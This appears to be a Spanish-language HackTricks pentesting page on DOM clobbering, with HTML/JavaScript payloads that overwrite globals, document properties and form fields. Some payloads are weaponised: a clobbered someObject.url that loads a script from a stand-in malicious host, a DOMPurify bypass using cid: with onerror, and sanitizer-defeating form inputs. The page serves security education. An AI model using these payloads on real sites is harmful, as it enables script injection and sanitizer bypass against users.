hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

14 KiB

Dom Clobbering

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Conceptos básicos

Es posible generar variables globales dentro del contexto JS con los atributos id y name en etiquetas HTML.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Solo ciertos elementos pueden usar el atributo name para clobber globals, son: embed, form, iframe, image, img y object.

Curiosamente, cuando se utiliza un elemento de formulario para clobber una variable, se obtendrá el valor toString del propio elemento: [object HTMLFormElement] pero con anchor el toString será el href del anchor. Por lo tanto, si se clobber usando la etiqueta a, se puede controlar el valor cuando se trata como una cadena:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Arrays y Atributos

También es posible sobrescribir un array y los atributos de un objeto:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Para sobrescribir un tercer atributo (por ejemplo, x.y.z), necesitas usar un form:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Sobrescribir más atributos es más complicado pero aún posible, utilizando iframes:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

{% hint style="warning" %} La etiqueta style se utiliza para dar suficiente tiempo al iframe para renderizar. Sin ella, se mostrará una alerta de indefinido. {% endhint %}

Para clobber atributos más profundos, puedes utilizar iframes con codificación HTML de esta manera:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Burlando Filtros

Si un filtro está recorriendo las propiedades de un nodo usando algo como document.getElementByID('x').attributes, podrías sobrescribir el atributo .attributes y romper el filtro. Otras propiedades del DOM como tagName, nodeName o parentNode y más también son sobrescribibles.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Sobrescribiendo window.someObject

Un patrón común utilizado por los desarrolladores de JavaScript es:

var someObject = window.someObject || {};

Si puedes controlar parte del HTML en la página, puedes sobrescribir la referencia someObject con un nodo DOM, como un enlace. Considera el siguiente código:

<script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>

Para explotar este código vulnerable, podrías inyectar el siguiente HTML para sobrescribir la referencia someObject con un elemento de anclaje:

{% code overflow="wrap" %}

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

{% endcode %}

Inyectar los datos window.someObject.url va a ser href=//malicious-website.com/malicious.js

Truco: DOMPurify te permite usar el protocolo cid:, el cual no codifica en URL las comillas dobles. Esto significa que puedes inyectar una comilla doble codificada que será decodificada en tiempo de ejecución. Por lo tanto, inyectar algo como <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> hará que la comilla codificada &quot; sea decodificada en tiempo de ejecución y escape del valor del atributo para crear el evento onerror.

Otra técnica común consiste en usar el elemento form. Algunas bibliotecas del lado del cliente pasarán por los atributos del elemento de formulario creado para sanitizarlo. Pero, si creas un input dentro del formulario con id=attributes, sobrescribirás la propiedad de atributos y el sanitizador no podrá pasar por los atributos reales.

Puedes encontrar un ejemplo de este tipo de sobrescritura en este informe de CTF.

Sobrescribiendo el objeto document

Según la documentación, es posible sobrescribir los atributos del objeto document usando DOM Clobbering:

La interfaz Document admite propiedades con nombre. Los nombres de propiedad admitidos de un objeto Document en cualquier momento consisten en lo siguiente, en orden de árbol según el elemento que los contribuyó, ignorando duplicados posteriores, y con valores de atributos id que vienen antes que los valores de atributos de nombre cuando el mismo elemento contribuye a ambos:

- El valor del atributo de contenido de nombre para todos los elementos expuestos embed, form, iframe, img y expuestos object que tienen un atributo de contenido de nombre no vacío y están en un árbol de documentos con el documento como su raíz;

- El valor del atributo de contenido id para todos los elementos expuestos object que tienen un atributo de contenido id no vacío y están en un árbol de documentos con el documento como su raíz;

- El valor del atributo de contenido id para todos los elementos img que tienen tanto un atributo de contenido id no vacío como un atributo de contenido de nombre no vacío, y están en un árbol de documentos con el documento como su raíz.

Usando esta técnica, puedes sobrescribir valores comúnmente usados como document.cookie, document.body, document.children, e incluso métodos en la interfaz Document como document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Escribiendo después del elemento clobbered

Puedes clobber los resultados de una llamada document.getElementById() y document.querySelector() si inyectas una etiqueta <html> o <body> con el mismo atributo id. Aquí tienes un ejemplo:

<div style=display:none id=cdnDomain class=x>test</div>
<p>
<html id="cdnDomain" class=x>clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
alert(document.querySelector('.x').innerText);//clobbbered
</script>

También es interesante que puedes ocultar elementos del innerText, por lo que si inyectas una etiqueta HTML/body, puedes usar estilos para ocultarla del innerText y evitar que otro texto interfiera con tu ataque:

<div style=display:none id=cdnDomain>test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>

Miramos también SVG y es posible usar la etiqueta <body> allí:

<div style=display:none id=cdnDomain>example.com</div>
<svg><body id=cdnDomain>clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>

Necesitas una etiqueta <foreignobject> para poder usar la etiqueta HTML dentro de SVG en Chrome y Firefox:

<div style=display:none id=cdnDomain>example.com</div>
<svg>
<foreignobject>
<html id=cdnDomain>clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>

Clobbering de Formularios

Es posible agregar nuevas entradas dentro de un formulario simplemente especificando el atributo form dentro de algunas etiquetas. Puedes usar esto para agregar nuevos valores dentro de un formulario e incluso agregar un nuevo botón para enviarlo (clickjacking o abusando de algún código JS .click()):

{% code overflow="wrap" %}

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

{% endcode %}

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥